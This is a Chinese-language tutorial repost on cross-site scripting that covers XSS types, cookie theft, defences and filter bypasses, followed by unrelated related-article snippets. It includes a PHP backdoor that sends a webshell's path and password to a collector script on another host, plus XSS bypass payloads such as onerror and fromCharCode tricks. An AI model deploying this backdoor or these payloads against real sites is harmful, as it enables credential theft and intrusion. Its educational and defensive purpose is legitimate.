跨站脚本攻击XSS

​​​​​​1、漏洞原理及防御

XSS又叫CSS (CrossSiteScript),因为与层叠样式表(css)重名,所以叫Xss,中文名叫跨站脚本攻击。

xss攻击,主要就是攻击者通过“html注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击方式。

危害

  • 可以盗取用户Cookie

  • 挂马(水坑攻击)

    在用户经常访问的网站,利用网站的漏洞植入攻击代码,访问者终端会被植入恶意程序或者直接盗取信息

  • 蠕虫(需要结合CSRF)

  • 局限性的键盘记录

防御

  1. 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。
  2. 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空。

2、原理分析:输出问题导致js代码被识别执行

​ 漏洞产生:输出问题

又返回结果1,如果注入脚本代码

这就是一个简单的反射型xss

3、XSS 技术分类

  • 反射性跨站(非持续型)

    经过服务器,没有和数据库有交集

  • 存储型跨站(持续型)

    是直接写入数据库,保持持久性,经过服务器

  • DOM XSS

    效果上说也是反射型XSS,但是这种XSS完全存在于客户端,不会经过服务器,直接和js拼接输出到页面

4、Cookie盗取

利用原理

​ 通过在评论区插入存储型XSS脚本,每次用户访问都会加载评论中的恶意脚本,导致本地cookie被发送到攻击者平台

​ 拿到webshell后,修改登录成功后的页面,插入xss获取cookie的脚本代码

XSS平台

 

// 页面底植入xss代码 <script src=""></script> // xss平台中的脚本

5、基于Xss的WebShell箱子的攻击

​ 通过在网站后台植入Xss代码将获取到的信息发送到渗透的网站中

help.php (后门)

 

<?php // 正常的大马程序 // 植入Xss $url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; // 百度查找相应的代码 // 输出获取到的大马路径和密码,发送到自己的渗透网站中,url值可以相应修改为xss跨站获取cookie的代码 echo "<script src=http://127.0.0.1/Webshell/index.php?u=$url&p=$password></script>" ?>

index.php (接受传来的信息)

 

<?php $url=$_GET['u']; $pass=$_GET['p']; // 可以修改为写入数据库操作 $file=fopen('webshell.html','a+'); fwrite($file,$url); fwrite($file,"<br>"); fwrite($file,$pass); fwrite($file,"<br>"); fclose($file); ?>

模拟

​ 假设这是某黑客A上传的 带有黑客B植入的后门代码的大马,会将大马的消息发送到黑客B的WebShell箱子中

黑客B接收的盒子信息

这就是WebShell盒子入侵事件

如果将xss代码改为获取cookie就可以获取到权限

5.1 XSS相关防护过滤及绕过分析

5.防护:

  1. 关键字过滤
  2. 特殊符号过滤
  3. 字符串长度过滤
  4. 转义编码防护

5.绕过:

  1. 改变大小写

  2. 使用空白符

    1. %00
  3. Hex编码

  4. 其他标签调用

      • < img src="javascript:alert(1);">
      • <img src=/ onerror="alert(1)"></img> 利用图片标签,找不到图片,出错执行代码
    • Js自带函数

      1. String.fromCharCode(88,83,83) 转换ACSII码转换成字符

      2. 绕过 alert(1) 被过滤

        用eval函数执行,其中需要转换编码格式

        将 alert 转换Unicode编码

6、实战知识点通过闭合标签

  1. 通过闭合标签

    首先闭合 无效

    尝试再闭合上一层

    可以弹窗

  2. 大小写绕过

  3. 双写绕过

  4. 换注入标签

  5. 添加定位符 #

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/19118.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

火爆全网,自动化测试-Allure完美测试报告(详全)卷起来...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、allure简介 A…

java.lang.UnsatisfiedLinkError: Could not load SWT library.

java.lang.UnsatisfiedLinkError: Could not load SWT library. https://download.eclipse.org/windowbuilder/lastgoodbuild

【停用词】NLP中的停用词怎么获取?我整理了6种方法

文章目录 一、停用词介绍二、停用词应用场景2.1 提取高频词2.2 词云图 三、停用词获取方法3.1 自定义停用词3.2 用wordcloud调取停用词3.3 用nltk调取停用词3.3.1 nltk中文停用词3.3.2 nltk英文停用词 3.4 用sklearn调取停用词3.5 用gensim调取停用词3.6 用spacy调取停用词 一、…

亚马逊云科技为企业提供一站式的出海策略,为企业保驾护航

走出国门&#xff0c;寻找新的盈利空间、优化资源配置、实现创新突破&#xff0c;已经成为中国企业的战略共识。如何进行全球化布局、本地化运营&#xff0c;实现高质量出海&#xff0c;是出海企业共同面临的课题。在【潮向新世界】出海日活动上&#xff0c;亚马逊云科技分享了…

热爱python的第一天:初识python,搭建python环境,运行第一个python小程序

目录 1 初始python python 概述 python的应用领域 应用python的公司 2 搭建python 开发环境 2.1 安装python&#xff08;以windows 系统为例&#xff09;&#xff08;1&#xff09;下载安装包 &#xff08;2&#xff09; 下载保存后打开文件夹点击以管理员身份运行 &…

apt-get install命令

在Linux系统中&#xff0c;apt-get命令默认安装包的位置是在/usr目录下。具体来说&#xff0c;安装的可执行文件会存储在/usr/bin目录下&#xff0c;而库文件会存储在/usr/lib目录下。同时&#xff0c;相应的配置文件和文档等也会存储在/usr/share目录下。 举例&#xff0c;ap…

Rdkit|化学指纹(fingerprint)

github:地址 文章目录 Rdkit|化学指纹&#xff08;fingerprint&#xff09;化学指纹&#xff08;fingerprint&#xff09;RDKFingerprintMorgan指纹提供的指纹信息存储在字典中 MACCS指纹AtomPair指纹TopologicalTorsion指纹参考 Rdkit|化学指纹&#xff08;fingerprint&#x…

IDEA中使用.env文件配置信息

一、说明 我们以配置阿里云的 Access Key 的信息为例&#xff08;配置别的信息当然也可以&#xff0c;我只是举个例子&#xff01;&#xff01;&#xff01;&#xff09;&#xff0c;假设我们的代码中需要用到它。Access Key有两个属性&#xff0c;分别为【ALIBABA_CLOUD_ACCE…

MySQL数据类型

目录 数据类型分类 ​编辑tinyint类型 bit类型 float类型 decimal类型 char类型 varchar类型 char和varchar比较 日期和时间类型 enum和set 数据类型分类 tinyint类型 数值越界测试&#xff1a; mysql> create table tt1(num tinyint); Query OK, 0 rows affec…

simulink 实现51单片机流水灯 及代码形式优化

目录 流水灯 代码形式 流水灯 需求&#xff1a;先左移 再右移 自己的 代码形式 2021a版本

Acwing.860 染色法判定二分图(二分图染色法)

题目 给定一个n个点m条边的无向图&#xff0c;图中可能存在重边和自环。 请你判断这个图是否是二分图。 输入格式 第一行包含两个整数n和m。 接下来m行&#xff0c;每行包含两个整数u和v&#xff0c;表示点u和点v之间存在一条边。 输出格式 如果给定图是二分图&#xff0c…

ES6基本知识点

目录 1.对象优化 1.1 新增API 1.2 object.assign方法的第一个参数是目标对象&#xff0c;后面的参数都是源对象 1.3 声明对象简写 1.4 对象的函数属性简写 1.5 对象拓展运算符 2.map和reduce 2.1 数组中新增的map和reduce方法 3 promise 3.1 promise封装异步操作 4.模…